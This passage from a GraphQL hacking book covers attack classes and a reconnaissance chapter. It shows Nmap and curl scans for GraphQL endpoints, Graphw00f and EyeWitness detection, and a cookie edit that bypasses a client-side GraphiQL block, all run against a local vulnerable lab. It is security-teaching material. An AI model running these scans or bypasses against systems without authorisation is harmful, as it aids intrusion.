Arguments may be provided in any syntactic order and maintain identical semantic meaning.

The data entry in the response will be the result of the execution of the requested operation.

These two rules are pretty simple. The first one explains that the order of
arguments provided in a query shouldn’t change the server’s response, and
the second rule explains that a GraphQL server response must be returned as
part of the data JSON field.

Yet complying with these rules is the developer’s responsibility, which is
where discrepancies may happen. In fact, the GraphQL spec doesn’t care
about how implementations conform to the spec:

Conformance requirements expressed as algorithms can be fulfilled by an implementation of this
specification in any way as long as the perceived result is equivalent.

To highlight an example of the behavioral differences between certain
implementations, take a look at graphql-php (https://github.com/webonyx/gr
aphql-php). This open source implementation is written in PHP and based on
GraphQL’s reference implementation library GraphQL.js (https://github.co
m/graphql/graphql-js).

However, when you look at how graphql-php handles aliases, you will
notice that it differs from many other implementations; it allows clients to
submit aliases with special characters, such as $. These subtle differences
between implementations not only help hackers fingerprint the underlying
technology behind a GraphQL API service (as you will learn in Chapter 4)
but also may allow us to craft special payloads to impact services using
certain implementations. Finally, these varying execution behaviors mean that

https://github.com/webonyx/graphql-php
https://github.com/graphql/graphql-js


a vulnerability detected in one implementation may not necessarily impact
others.

As a hacker, you will often find yourself referencing an application’s
design document to better understand how it is meant to function compared
with how it functions in practice. Often, you’ll find discrepancies. For
example, imagine that an application design document defines the following
rule:

The application must be able to receive a URL from a client, fetch it over the network, and
return a response to the client.

This rule isn’t very specific; it doesn’t explain how to secure this function
and what the developer should be cautious of when implementing it.
However, many things can go wrong in a feature that fetches content from a
user-controlled URL. An attacker might be able to do any of the following:
Specify a private IP address (for example, 10.1.1.1) in the URL, which
effectively allows access to internal resources on the server where the
application lives.
Specify a remote URL that includes malicious code. The server will
download the code and host malware on the server.
Specify a URL pointing to a very large file, exhausting server resources and
impacting other users’ ability to use the application.

This is just a partial list of harmful possibilities. If the developer doesn’t
take these scenarios into consideration during implementation, anyone who
uses their application will be exposed to these vulnerabilities.

Building bug-free software is hard (and likely impossible to avoid
completely). The more you know about an application and the deeper you dig
into it, the higher your chances of finding a vulnerability.

Denial of Service
One of the most prevalent vulnerability classes in GraphQL is DoS-based
vulnerabilities. These vulnerabilities can degrade a targeted system’s
performance or exhaust its resources completely, making it unable to fulfill
client queries or even crash. In this chapter, we hinted at how field and
object relationships, aliases, directives, and fragments could all potentially



be used as attack vectors against a GraphQL service, because these
capabilities provide API clients with an enormous amount of control over the
query structure and execution behavior.

In Chapter 5, you’ll learn how this power can also enable clients to
construct very complex queries that effectively degrade a GraphQL server’s
performance if the right security countermeasures are not put in place. We
will review four ways that a client can create expensive queries. These may
overwhelm the GraphQL server and lead to DoS conditions.

Information Disclosure
A common weakness in many web applications is the unintended disclosure
of data to the public, or to a group of users that isn’t authorized to access it.
Information leakages have many causes, and systems entrusted with
protecting sensitive information such as PII should deploy numerous layers of
detection and prevention controls to protect information from being exposed.

When it comes to GraphQL, hackers can fingerprint and collect data from
its API in several ways. In Chapter 6, we’ll teach you how to leverage
introspection queries to hunt for fields that may contain sensitive information.
We’ll equip you with tools that take advantage of how field suggestions and
error messages work to help uncover hidden data models and maneuver
around GraphQL environments where introspection may be disabled.

Authentication and Authorization Flaws
Authentication and authorization are complex security controls in any API
system architecture. The fact that the GraphQL spec refrains from providing
authentication and authorization guidance for implementations doesn’t help.
This void often leads engineers to implement their own authentication and
authorization mechanisms based on open source, in-house, or third-party
solutions.

Most of the authentication and authorization vulnerabilities you’ll find in
GraphQL stem from the same issues you’d find in traditional APIs, such as
failure to adequately protect against brute-force attacks, logic flaws, or poor
coding that allows controls to be entirely bypassed. In Chapter 7, we’ll
review several common GraphQL authentication and authorization strategies



and teach you how to defeat them with aliases, batch queries, and good, old-
fashioned logic flaws.

Injections
Injection vulnerabilities can have devastating impacts on application data,
and while frameworks have gotten better at protecting against them by
offering reusable security methods, they are still prevalent today. Much like
its counterparts REST and SOAP, GraphQL isn’t immune to the Open Web
Application Security Project (OWASP) Top 10, a list of the most common
web vulnerabilities, and can become vulnerable to injection-based attacks if
untrusted information from a client is accepted and processed by the
application.

GraphQL’s language supports multiple avenues for a malicious client to
send injection data to a server, such as query arguments, field arguments,
directive arguments, and mutations. Implementations of GraphQL also vary in
their conformance with the GraphQL spec, leading to differences in the way
they may handle, sanitize, and validate the data coming to them from clients.
In Chapter 8, you will learn about specific GraphQL injection vulnerabilities
and their various entry points into backend systems.

Summary
By now, you should understand what GraphQL is and what some of its attack
vectors may look like. You should also be quite comfortable with GraphQL’s
language, having reviewed the anatomy of a query and dissected its internal
components, such as operations, fields, and arguments. You also began to
leverage the GraphQL lab you built in Chapter 2 by using Altair to send
numerous queries to DVGA. From a server’s perspective, you were
introduced to the major components that make up GraphQL’s type system and
the role these types play in supporting the structure of GraphQL schemas and
introspection queries.

Finally, we created a base camp from which we can launch our future
GraphQL hacking attacks. We hinted at the weaknesses and loopholes in the
GraphQL spec and in how implementations interpret and extend unregulated



functionality beyond the spec. Keep following this trail of breadcrumbs as
you continue your GraphQL hacker journey.



4
RECONNAISSANCE

All security tests start with a
reconnaissance phase. In this phase, we
attempt to collect as much information as
possible about our target. This
information will prepare us to make

informed decisions about how to attack the application
and increase our chances of success.

You might be asking yourself, what is there to know about GraphQL,
seeing as it’s just an API layer? You’ll learn that we can gather a lot of
information, through experimentation and the use of specialized tooling,
about the application running behind a GraphQL API, as well as the
GraphQL implementation itself. While the GraphQL query structure is
consistent across all GraphQL implementations, irrespective of the
programming language they are written in, you will likely see differences in
the available operations, fields, arguments, directives, security controls,
responses to specially crafted queries, and so on.

Here are a few key questions we should strive to answer during our
reconnaissance phase: Does the web server even have a GraphQL API? On
which endpoint is GraphQL configured to receive queries? What language is
the GraphQL implementation written in? What implementation of GraphQL is
running on the target server? Is the implementation known to be vulnerable to
certain attacks? What types of defenses exist for the specific GraphQL



implementation? What are some of the out-of-the-box default configuration
settings of this implementation? Does the GraphQL server have any
additional security protection layers in place? Being able to answer these
questions will allow us to plan a more focused attack against our target
server and uncover gaps in its defense.

NOTE

Throughout this chapter, as well as the following ones, we will use
the DVGA as our target vulnerable application. You should already
have it running as part of the GraphQL security lab we built in
Chapter 2.

Detecting GraphQL
To detect GraphQL in a penetration test, it’s important to first familiarize
yourself with the GraphQL server implementations that exist in the wild
today. GraphQL has many implementations written in a variety of
programming languages, each of which could have different default
configurations or known weaknesses. Table 4-1 lists several GraphQL
implementations and the languages in which they are written.



Table 4-1: GraphQL Server Implementations and Their Programming Languages

Server implementation Language
Apollo TypeScript
Graphene Python
Yoga TypeScript
Ariadne Python
graphql-ruby Ruby
graphql-php PHP
graphql-go Go
graphql-java Java
Sangria Scala
Juniper Rust
HyperGraphQL Java
Strawberry Python
Tartiflette Python

These are some of the most popular implementations in use today, as well
as more niche implementations, such as Sangria for Scala, Juniper for Rust,
and HyperGraphQL for Java. Later in this chapter, we will discuss how to
distinguish between them during a penetration test.

Detection of GraphQL APIs can be done in several ways: either manually,
which is typically harder to scale if you have more than a few hosts on a
network, or automatically, using various web scanners. The advantage of
using web-scanning tools is that they are scalable. They are threaded, and
often have the ability to read external files as program input, such as text files
with a list of hostnames to scan. These tools already have the logic to detect
web interfaces built into them, and using scripting languages (such as Bash or
Python), you can programmatically run them against hundreds of IP addresses
or subdomains. In this chapter, we will use popular scanners such as Nmap,
as well as GraphQL-oriented scanning tools, such as Graphw00f, for
reconnaissance.

Common Endpoints
In Chapter 1, we highlighted some of the differences between REST and
GraphQL APIs. One of these differences, relevant to the reconnaissance



phase, is that a GraphQL API endpoint is typically static, and most commonly
/graphql.

However, although /graphql is often the default GraphQL endpoint, the
GraphQL implementation can be reconfigured to use a completely different
path. In those cases, what can we do to detect it? One way is to manually
attempt a few common alternative paths to the GraphQL API, such as
versioned endpoints:
/v1/graphql
/v2/graphql
/v3/graphql

You’ll typically see these versioned API endpoints when the application
needs to support multiple versions of its API, either for backward
compatibility or for the introduction of a new feature in a way that doesn’t
conflict with the stable API version that customers might still be using.

Another way to find a GraphQL implementation is through IDEs, such as
GraphQL Playground or GraphiQL Explorer, which we used in Chapter 1 to
experiment with GraphQL queries. When either of these interfaces is
enabled, it often uses an additional, dedicated endpoint. This means
GraphQL can potentially exist under the following endpoints as well:
/graphiql
/playground

If these endpoints happen to also be versioned, they may have a version
number prepended to their path, such as /v1/graphiql, /v2/graphiql,
/v1/playground, /v2/playground, and so on.

Listing 4-1 shows how Graphene, a Python-based implementation of
GraphQL, can expose two endpoints, one for GraphQL, and the other for
GraphiQL Explorer, which is built into Graphene:

app.add_url_rule('/graphql', view_func=GraphQLView.as_view
( 
  'graphql', 
  schema=schema 
)) 
 



app.add_url_rule('/graphiql', view_func=GraphQLView.as_vie
w( 
  'graphiql', 
  schema = schema, 
  graphiql = True 
))

Listing 4-1: Graphene’s endpoint definition

Graphene defines the /graphql endpoint as its main GraphQL query
endpoint. It then defines /graphiql as a second endpoint that GraphiQL
Explorer will query against. Lastly, it enables the GraphiQL Explorer
interface. The GraphQL server will render the IDE to the client when it
browses to the /graphiql endpoint.

Keep in mind that each endpoint could have different security settings. One
could be stricter than the other, for example. When you find two endpoints
serving GraphQL queries on the same target host, you will want to test them
separately.

NOTE

In this book’s GitHub repository, you can find a more
comprehensive list of common GraphQL endpoints: https://github.c
om/dolevf/Black-Hat-GraphQL/blob/master/ch04/common-graphql
-endpoints.txt. You can use this as a wordlist file when you need to
scan for GraphQL servers during a penetration test or a bug
bounty hunt.

The most important takeaway here is that, while the GraphQL endpoint is
typically located at a predictable path, the developer can still customize it to
fit their needs, perhaps in an attempt to hide it from curious eyes or to simply
conform to internal application deployment standards.

Common Responses
Now that you have an idea of the endpoints from which GraphQL typically
receives queries, the next step is to learn how GraphQL APIs respond to

https://github.com/dolevf/Black-Hat-GraphQL/blob/master/ch04/common-graphql-endpoints.txt


packets. GraphQL is fairly easy to identify on a network. This is particularly
helpful whenever you are performing a zero-knowledge penetration test or
bug bounty hunt.

The GraphQL specification describes how a query response structure
should be formatted. This allows API consumers to expect a predetermined
format when they parse the GraphQL response. The following excerpt from
the GraphQL specification describes how the response to a query should
look:

If the operation is a query, the result of the operation is the result of executing the operation’s
top-level selection set with the query root operation type.

An initial value may be provided when executing a query operation:

ExecuteQuery(query, schema, variableValues, initialValue)

1. Let queryType be the root Query type in the schema.
2. Assert: queryType is an Object type.
3. Let selectionSet be the top-level selection set in the query.
4. Let data be the result of running

ExecuteSelectionSet(selectionSet, queryType,

initialValue, variableValues) normally (allowing
parallelization).

5. Let errors be any field errors produced while executing the selection
set.

6. Return an unordered map containing data and errors.

In practice, this means a GraphQL API will return a data JSON field
when there is a result to return to a client’s query. It will also return an
errors JSON field whenever errors occur during the execution of a client
query.

Knowing these two pieces of information ahead of time is valuable. To put
it simply, we now have two conditions that a response must meet before we
can say that it came from a GraphQL API:

. A valid query response should always have the data field populated with
query response information.



. An invalid query response should always have the errors field populated
with information about what went wrong.

Now we can leverage these as part of scanning and detection logic to
automate the discovery of GraphQL servers on a network. All we need to do
is send a valid or malformed query and observe the response we receive.

Let’s run a simple GraphQL query using the HTTP POST method against
the DVGA to see these response structures in action. Open the Altair
GraphQL client and ensure that the address bar has the
http://localhost:5013/graphql address set; then run the following query by
entering it in Altair’s left pane:

query {
  pastes {
    id
  }
}

Next, click the play button to send the query to the GraphQL server. This
should return the id field of the pastes object. You should be able to see a
response similar to the following output:

 "data": { 
     "pastes": [ 
      { 
         "id": "1" 
      } 
    ] 
  }

As you can see, GraphQL returns the query response as part of the data
JSON field, exactly as described in the GraphQL specification. We get the
pastes object and the id field we specified in the query. Don’t worry if you
see a different id string returned in your lab than the one shown here; this is
expected.

Now, let’s run another query to explore what happens when an invalid
query is sent to GraphQL. This will demonstrate that the errors JSON field
is returned by the GraphQL server when it encounters issues during query



execution. The following query is malformed, and GraphQL won’t be able to
process it. Run it in Altair and observe the response:

query {
  badfield {
    id
  }
}

Notice that we specify a top-level field with the name of badfield.
Because this field does not exist, the GraphQL server can’t fulfill the query.
The GraphQL response can be seen here:

{ 
   "errors": [ 
    { 
       "message": "Cannot query field \"badfield\" on type 
\"Query\".", 
      "locations": [ 
        { 
          "line": 2, 
          "column": 3 
        } 
      ] 
    }, 
  ] 
}

As you can see, the GraphQL server isn’t able to process our query
successfully. It returns a response containing the errors JSON field. The
message JSON field indicates to us that the server couldn’t query the field
named badfield, because it does not exist in the GraphQL schema.

Nmap Scans
Imagine that you need to conduct a penetration test against a network
containing thousands of hosts; it would be fairly difficult to manually go
through each host to find ones that are potentially serving interesting content,
such as an API or a vulnerable commercial application. In these cases,
penetration testers often use web application scanners or custom scripts to
automatically grab information from the hosts. For example, information such



as the <title> HyperText Markup Language (HTML) tag, the entire <body>
tag, and even the server HTTP response header could all hint at specific
applications that the remote server is running.

It’s important to note that web applications may not always have a user
interface, meaning they may not serve any HTML content related to the
application or even expose HTTP headers by which we can detect them.
They will often act as standalone API servers that expose data only through
designated APIs. So, how can we detect GraphQL in those cases? Luckily,
GraphQL APIs often return predictable responses under certain conditions,
such as the HTTP method in use or the payload sent to the server. Listing 4-2
shows a common GraphQL response returned when a client makes a GET
request.

# curl -X GET http://localhost:5013/graphql 
 
{"errors":[{"message":"Must provide query string."}]}

Listing 4-2: A GraphQL response to an HTTP GET request

The string Must provide query string is often used in GraphQL
implementations, such as Python- and Node.js-based ones. (Keep in mind
that GET-based queries are often not supported by GraphQL servers. Rest
assured: we have many other ways of detecting GraphQL should we run into
such a situation.)

With this information, we now have the ability to automate a scan and pick
up any other GraphQL servers that may exist on a network. Listing 4-3 shows
how to do this with Nmap, using the http-grep NSE script, which uses
pattern matching to look for keywords in a given web page.

# nmap -p 5013 -sV --script=http-grep
--script-args='match="Must provide query string", ❶ http-gr
ep.url="/graphql"' localhost ❷ 
 
PORT     STATE SERVICE VERSION 
5013/tcp open  http    Werkzeug httpd 
| http-grep: 
|   (1) http://localhost:5013/graphql: 
|       (1) User Pattern 1: 
|       + Must provide query string



Listing 4-3: A GraphQL response to word-matching using Nmap’s http-
grep

At ❶ we specify a script argument to http-grep called match with a value
of Must provide query string (the message we received in our GraphQL
response). At ❷ we define another argument, called http-grep.url, with a
value of /graphql, which instructs Nmap to search a specific page within
the web application. Under the hood, Nmap will make an HTTP GET request
to localhost and use the argument string value we defined as the pattern for
its search within the text it extracts from the web server’s response. In its
output, Nmap shows that a pattern was found on the web page and indicates
the string for which it found a match.

You may have noticed that we’re passing a specific port to Nmap (-p)—
namely, port 5013. Like any web server, GraphQL servers could run on any
port, but a few are quite common, such as 80–89, 443, 4000–4005, 8443,
8000, and 8080. We recommend scanning both common and uncommon port
ranges when possible.

The __typename Field
So far, we’ve known exactly which fields to ask for in our queries, such as
pastes with a selection set of id, as we requested earlier. You might be
wondering, what if we don’t know what fields exist on the GraphQL API?
How can we go about identifying GraphQL without this information? Luckily,
there is a quick way to query GraphQL and return a valid response without
knowing anything about the application’s schema.

Meta-fields are built-in fields that GraphQL APIs expose to clients. One
example is __schema (part of introspection in GraphQL). Another example
of a meta-field is __typename. When used, it returns the name of the object
type being queried. Listing 4-4 shows a query that uses this meta-field.

query { 
  pastes { 
    __typename 
  } 
}

Listing 4-4: A GraphQL query with the __typename meta-field



When you run this query with Altair, the response will be the name of the
pastes object type:

  "data": { 
    "pastes": [ 
      { 
        "__typename": "PasteObject" 
      } 
    ] 
  }

As you can see, GraphQL tells us that the pastes object’s type name is
PasteObject. The real hack here is that the __typename meta-field can be
used against the query root type as well, as shown in Listing 4-5.

query { 
  __typename 
}

Listing 4-5: A GraphQL meta-field used with the query root type

This query uses __typename to describe the query root type and will work
against pretty much any GraphQL implementation, since __typename is part
of the official specification.

When you’re attempting to query GraphQL from the command line,
GraphQL servers expect a certain request structure. For HTTP GET-based
queries, a request should have the following HTTP query parameters:
query for the GraphQL query (mandatory parameter).
operationName for the operation name, used when multiple queries are sent
in a single document. This parameter tells the GraphQL server which
specific operation to run when more than one is present (optional parameter).
variables for query variables (optional parameter).

For HTTP POST-based queries, the same parameters should be passed in
the HTTP body in JSON.

When GraphQL servers accept queries using GET, you can pass the query
parameter along with the GraphQL query (in this case, the query
{__typename}) by using shorthand syntax. With this in mind, we can



automate the detection of GraphQL by using Nmap fairly easily. Listing 4-6
shows how to run a __typename query with Nmap.

# nmap -p 5013 -sV --script=http-grep --script-args='match
="__typename",
http-grep.url="/graphql?query=\{__typename\}"' localhost 
 
PORT     STATE SERVICE VERSION 
5013/tcp open  http    Werkzeug httpd 
| http-grep: 
|   (1) http://localhost:5013/graphql?query=\{__typename
\}: 
|     (1) User Pattern 1: 
|_      + __typename

Listing 4-6: Detecting GraphQL by using GET-based queries with Nmap

In this example, the Nmap script http-grep uses the GET method under the
hood to do its work.

If you have more than a handful of hosts to scan, you may want to leverage
Nmap’s -iL flag to point to a file that contains a list of hostnames, as shown
in Listing 4-7.

# nmap -p 5013 -iL hosts.txt -sV --script=http-grep
--script-args='match="__typename", http-grep.url="/graphq
l?query=\{__typename\}"'

Listing 4-7: Scanning multiple targets defined in a file with Nmap

The hosts.txt file in this example would contain IP addresses or Domain
Name System (DNS) hostnames listed on separate lines.

If the GraphQL server does not support GET-based queries, we can use
cURL and the __typename field to make a POST request to detect GraphQL,
as shown in Listing 4-8.

# curl -X POST http://localhost:5013/graphql -d '{"quer
y":"{__typename }"}'
-H "Content-Type: application/json"

Listing 4-8: Sending a POST-based query using cURL



To use this detection method against a list of hosts, you can use Bash
scripting, as shown in Listing 4-9.

# for host in $(cat hosts.txt); do
     curl -X POST "$host" -d '{"query":"{__typename }"}' -
H "Content-Type: application/json"
done

Listing 4-9: A Bash script to automate a POST-based GraphQL detection
using cURL

The hosts.txt file in this example would contain a list of full target URLs
on separate lines (including their protocol schemes, domains, ports, and
endpoints).

Graphw00f
In Chapter 2, we briefly discussed Graphw00f, a GraphQL tool based on
Python for detecting GraphQL and performing implementation-level
fingerprinting. In this section, we will use it to detect DVGA in our lab,
walking you through how it does its detection magic.

We mentioned earlier in this chapter that GraphQL servers are found at the
endpoint /graphql by default. When this is not the case, we might need an
automated way to iterate through known endpoints in order to figure out
where queries are served from. Graphw00f allows you to specify a custom
list of endpoints when running a scan. If you don’t provide a list, Graphw00f
will use its hardcoded list of common endpoints whenever it is tasked with
detecting GraphQL, as shown in Listing 4-10.

def possible_graphql_paths(): 
    return [ 
        '/graphql', 
        --snip-- 
        '/console', 
        '/playground', 
        '/gql', 
        '/query', 
        --snip-- 
    ]



Listing 4-10: A list of common GraphQL endpoints in Graphw00f ’s
source code

To see Graphw00f in action, open your terminal and execute the command
in Listing 4-11. We use command line parameters -t (target) and -d
(detection). The -t flag in this case will be the remote URL
http://localhost:5013, and the -d flag will turn on detection mode, which
indicates to Graphw00f that it should run a GraphQL detection check against
the target URL. If you have questions about Graphw00f’s arguments, use the
-h flag to read more about its options.

# cd ~/graphw00f 
# python3 main.py -d -t http://localhost:5013 
 
                      graphw00f 
          The fingerprinting tool for GraphQL 
 
 [*] Checking http://localhost:5013/ 
 [*] Checking http://localhost:5013/graphql 
 [!] Found GraphQL at http://localhost:5013/graphql

Listing 4-11: A GraphQL detection with Graphw00f

Run in detect mode, Graphw00f iterates through various web paths. It
checks for the existence of GraphQL in the main web root folder and the
/graphql folder. Then it signals to us that it found GraphQL under /graphql
based on the HTTP response heuristics we discussed earlier.

To use your own list of endpoints, you can pass the -w (wordlist) flag and
point it at a file containing your endpoints, as shown in Listing 4-12.

# cat wordlist.txt 
 
/app/graphql 
/dev/graphql 
/v5/graphql 
 
# python3 main.py -d -t http://localhost:5013 -w wordlist.
txt 
 
[*] Checking http://localhost:5013/app/graphql 



[*] Checking http://localhost:5013/dev/graphql 
[*] Checking http://localhost:5013/v5/graphql

Listing 4-12: Using a custom endpoint list with Graphw00f

Detecting GraphiQL Explorer and GraphQL
Playground
The GraphiQL Explorer and GraphQL Playground IDEs are built using the
JavaScript library React. Yet when performing reconnaissance, we will often
rely on tools that are incapable of rendering web pages containing
JavaScript, such as command line HTTP clients like cURL or web
application scanners like Nikto. In the process, we might miss interesting
web interfaces.

In general, you’ll find it beneficial to look for any signs of web interfaces
available on the network, such as administration, debugging, or configuration
panels, all of which are great candidates to hack. These panels tend to be
data rich and often become a way to pivot to other networks or to escalate
privileges. They also tend to be far less hardened than publicly facing
applications. Companies assume that the external space (the internet) is
riskier than the internal space (the corporate network). As such, they often
have guidelines for securing publicly facing servers and applications via
aggressive patching policies, configuration reviews, and frequent
vulnerability scanning. Unfortunately, internal applications rarely get the
same treatment, which often makes them an easier target for hackers.

An interesting and often overlooked technique to scan for graphical web
interfaces is through the use of tools such as headless browsers. Headless
browsers are fully functional command line web browsers that the user can
program for a variety of purposes, such as retrieving page contents,
submitting forms, or simulating real user behavior on a web page. For
example, the headless browsers Selenium and PhantomJS can be handy when
you need to render web pages containing JavaScript code.

One security tool in particular has incorporated a headless browser to
solve this gap: EyeWitness. This web scanner is capable of taking
screenshots of web pages by leveraging the Selenium headless browser



driver engine behind the scenes. EyeWitness then generates a nice report,
along with a screen capture of the page.

Scanning for Graphical Interfaces with EyeWitness
Since the two GraphQL IDEs use JavaScript code, we need a capable
scanner to help us identify them when we perform network-wide scans. Let’s
use EyeWitness to identify these graphical interfaces.

EyeWitness offers many options for customizing its scanner behavior, and
you can see them by running the tool with the -h option. To detect GraphQL
IDE panels, we’ll use the --web option, which will attempt a screen capture
of the scanned site with the headless browser engine, together with the --
single option, which is suitable when you need to scan only a single target
URL. We will then use the -d flag to indicate to EyeWitness the folder in
which it should dump the report (in this case, the dvga-report folder). Listing
4-13 puts everything together.

# eyewitness --web --single http://localhost:5013/graphiql 
-d dvga-report 
 
Attempting to screenshot http://localhost:5013/graphiql 
 
 [*] Done! Report written in the dvga-report folder! 
 Would you like to open the report now? [Y/n]

Listing 4-13: The runtime output of EyeWitness

In the output, EyeWitness indicates that it saved the collected web page
source files in the dvga-report folder and asks us whether to open the report.
Press Y and ENTER to open a web browser displaying the HTML report,
including the screenshot it took during the scan. Figure 4-1 shows the report.



Figure 4-1: An HTML report produced by EyeWitness

Additionally, the dvga-report will contain several folders, as shown here:

# ls -l dvga-report/ 
total 112 
-rw-r--r-- 1 kali kali 95957 Dec 15 15:19 jquery.min.js 
-rw-r--r-- 1 kali kali  2356 Feb 11 15:10 report.xhtml 
drwxr-xr-x 2 kali kali  4096 Feb 11 15:09 screens 
drwxr-xr-x 2 kali kali  4096 Feb 11 15:09 source 
-rw-r--r-- 1 kali kali   684 Feb 11 15:09 style.css

The report.xhtml file includes information about the target, such as the
HTTP response headers it sent back to the client, a screen capture of the
application running on the target, and a link to the web page’s source code.
While you can visually identify the GraphiQL IDE by using the screen
capture taken by EyeWitness, you can also confirm your finding by searching
the source folder, where the source code files reside. Run the command
shown in Listing 4-14 to search for any GraphiQL Explorer or GraphQL
Playground strings within the source code.

# grep -Hnio "graphiql|graphql-playground" dvga-report/sou
rce/* 
source/http.localhost.5013.graphiql.txt:18:graphiql 
source/http.localhost.5013.graphiql.txt:18:graphiql 
source/http.localhost.5013.graphiql.txt:18:graphiql

Listing 4-14: Keyword matches in the web page source code



Let’s break down the command to explain what’s happening here. We run a
case-insensitive search using grep by passing it the i flag to find any
instances of the words graphql or graphql-playground in the source folder.
Using the -H flag, we tell grep to print the names of files containing any
pattern matches. The -n flag indicates the line number at which the match is
located (in this case, 18). The -o flag prints only the parts of matching lines
that yielded positive results. As you can see, the search found multiple
instances of the string graphiql at line number 18.

EyeWitness can run the same type of scan against a list of URLs, as
opposed to a single URL, using the -f (file) flag. When you use this flag,
EyeWitness will expect a text file containing a list of target URLs to scan. Lis
ting 4-15 shows how to write a single URL (http://localhost:5013/graphiql)
to a text file (urls.txt) and pass it on to EyeWitness as its custom URL list.

# echo 'http://localhost:5013/graphiql' > urls.txt 
# eyewitness --web -f urls.txt -d dvga-report 
 
Starting Web Requests (1 Hosts) 
Attempting to screenshot http://localhost:5013/graphiql 
Finished in 8 seconds 
 
[*] Done! Report written in the dvga-report folder!

Listing 4-15: Scanning multiple URLs with EyeWitness

EyeWitness iterates over the URLs specified in the file, scans them, and
saves its output into the dvga-report folder for further inspection.

In this example, we used a file that contains only a single URL. Often, you
may want to search for any additional web paths beyond the /graphql
endpoint to check whether GraphQL lives in an alternative location,
particularly one that’s obscure. You could create a list of URLs to use with
EyeWitness in multiple ways. The first option is to use the list of common
GraphQL endpoints mentioned in “Common Endpoints” on page 73.

Alternatively, use one of Kali’s built-in directory wordlists, located at
/usr/share/wordlists. One such example is the dirbuster wordlist.
EyeWitness needs full URLs, and this wordlist contains only web paths, so
we’d first need to format it using a Bash script, as shown in Listing 4-16.



# for i in $(cat /usr/share/wordlists/dirbuster/directory-
list-2.3-small.txt);
do echo http://localhost:5013/$i >> urls.txt; done 
 
# cat urls.txt 
 
http://localhost:5013/api 
http://localhost:5013/apis 
http://localhost:5013/apidocs 
http://localhost:5013/apilist

Listing 4-16: Using Bash and a directory wordlist to build a list of URLs

This Bash for loop ensures that the directories in the wordlist directory-
list-2.3-small.txt are appended to our target host (http://localhost:5013) so
EyeWitness can use them in its scan. All that’s left is to run EyeWitness with
our new wordlist file, urls.txt.

Attempting a Query Using Graphical Clients
Finding instances of GraphiQL Explorer or GraphQL Playground in a
penetration test doesn’t guarantee that the GraphQL API itself will allow you
to make unauthorized queries. Because both GraphiQL Explorer and
GraphQL Playground are simply frontend interfaces to a GraphQL API, they
are effectively HTTP clients that interact with a GraphQL server.

In some cases, these graphical interfaces might fail to query the API for
multiple reasons. An authentication or authorization layer might be
implemented in the GraphQL API that prevents unauthorized queries. The
API might also restrict queries based on client properties, such as
geographical location or an IP address–based allow list. Client-side
mitigations could also prevent clients from running queries through
GraphiQL Explorer or GraphQL Playground.



NOTE

The specification doesn’t describe how to implement security
measures in GraphQL or whether authorization and authentication
should exist at the GraphQL layer. Chapter 7 covers how to
identify these mechanisms when they are implemented in GraphQL
and how to test them in black-box penetration tests.

To confirm that we can use the interface to query the GraphQL server, we
will need to send some form of an unauthenticated GraphQL query. The query
must be one that will work on any GraphQL API. Think of this query as a
way to confirm that the remote GraphQL API is accepting unauthenticated
queries from clients. We might call it a canary GraphQL query.

Open the Firefox web browser in your lab machine and navigate to
http://localhost:5013/ to access the DVGA. You should see the DVGA’s
main page. Next, browse to the GraphiQL Explorer panel we discovered
earlier at http://localhost:5013/graphiql. You will notice that we get an
immediate error, indicating that our access was rejected, with the message
400 Bad Request: GraphiQL Access Rejected, as shown in Figure 4-2.



Figure 4-2: The GraphiQL Explorer rejecting client access

As hackers, it’s important to look at how things work under the hood.
Click the Docs button located at the top right of the window. You should see
an error message, No Schema Available. This error means that GraphiQL
Explorer wasn’t able to retrieve schema information from the API. Because
GraphiQL Explorer automatically sends an introspection query to the
GraphQL API to populate the documentation section with schema information
on every page load, it relies on this documentation being available.

You can see this behavior by using the Developer Tools in Firefox. Press
SHIFT-F9 or right-click anywhere in the web page and select Inspect
Element to open the Developer Tools console. Click the Network tab; then
reload the page by pressing F5.



You should be able to see a POST request sent to the /graphiql endpoint. F
igure 4-3 shows this introspection query.

Figure 4-3: A GraphiQL Explorer introspection query shown in Firefox Developer Tools

If the introspection query was successfully sent, what could possibly be
rejecting our access to GraphiQL Explorer? Let’s continue to explore the
Developer Tools in Firefox for clues. Click the Storage tab, shown in Figure
4-4.



Figure 4-4: The Developer Tools Storage tab in Firefox

The Storage tab gives us a view of the HTTP cookies that were set up by
the application, as well as access to the browser’s local and session storage.
On the left pane, click the Cookies drop-down menu and select
http://localhost:5013 to see the specific cookies for the domain, as shown in
Figure 4-5.

Figure 4-5: HTTP cookies



You’ll notice that, in the right pane, we have two keys set in our HTTP
cookies: env and session. The env key in particular is interesting, because
it appears to have the string graphiql:disable set as its value. As hackers,
this should ring a bell or two. Is it possible that this cookie value is
responsible for GraphiQL Explorer’s denying access? We can find out by
tampering with its value.

Double-click the text graphiql:disable, which will allow you to modify
it; then simply remove disable and replace it with enable. Next, refresh the
web page. You’ll notice that we no longer see the rejection message in
GraphiQL Explorer. To confirm that tampering with the cookie actually
works, attempt to run a GraphQL query. You should be able to get a response
from the GraphQL API! This is an example of a weak client-side security
control that can easily be circumvented.

Developers often create web applications with the mindset that clients are
to be trusted, but not everyone will play by the rules. Threat actors who are
interested in finding loopholes will tamper with applications and attempt to
defeat any countermeasures in place. It’s important to remember that anything
an attacker can directly control can potentially be circumvented. Yet controls
implemented on the client are not a rare thing to see; you may find
applications implementing input validation or file upload validation only on
the client side. These can often be bypassed. In Chapter 7, you’ll learn more
about defeating GraphQL authorization and authentication mechanisms.

Querying GraphQL by Using Introspection
Introspection is one of GraphQL’s key features, as it provides information
about the various types and fields the GraphQL schema supports. A self-
documenting API is very useful for anyone who needs to consume it, such as
third-party businesses or other clients.

As hackers, one of the first things we want to test when we run into a
GraphQL application is whether its introspection mechanism is enabled.
Many GraphQL implementations enable introspection by default. Some
implementations might have an option to disable introspection, but others
might not. For example, the Python GraphQL implementation Graphene does
not provide the option to disable introspection. To do so, the consumer



would have to dig into the code and identify ways to prevent introspection
queries from being processed. On the other hand, the GraphQL PHP
implementation graphql-php enables introspection by default but also
documents how to completely disable this feature. Table 4-2 shows the state
of introspection in some of the popular GraphQL server implementations.

Table 4-2: The State of Introspection in GraphQL Implementations

Language Implementation Introspection configuration Disable introspection option
Python Graphene Enabled by default Not available
Python Ariadne Enabled by default Available
PHP graphql-php Enabled by default Available
Go graphql-go Enabled by default Not available
Ruby graphql-ruby Enabled by default Available
Java graphql-java Enabled by default Not available

Any default setting that directly impacts security is always good news for
hackers. Application maintainers rarely change these default settings. (Some
maintainers may not even be aware of them.) In Table 4-2, you can see that in
some cases—such as in graphql-go, graphql-java, and Graphene—
introspection can be disabled only if the application maintainers code the
solution into the GraphQL API themselves; there is no official, vendor-vetted
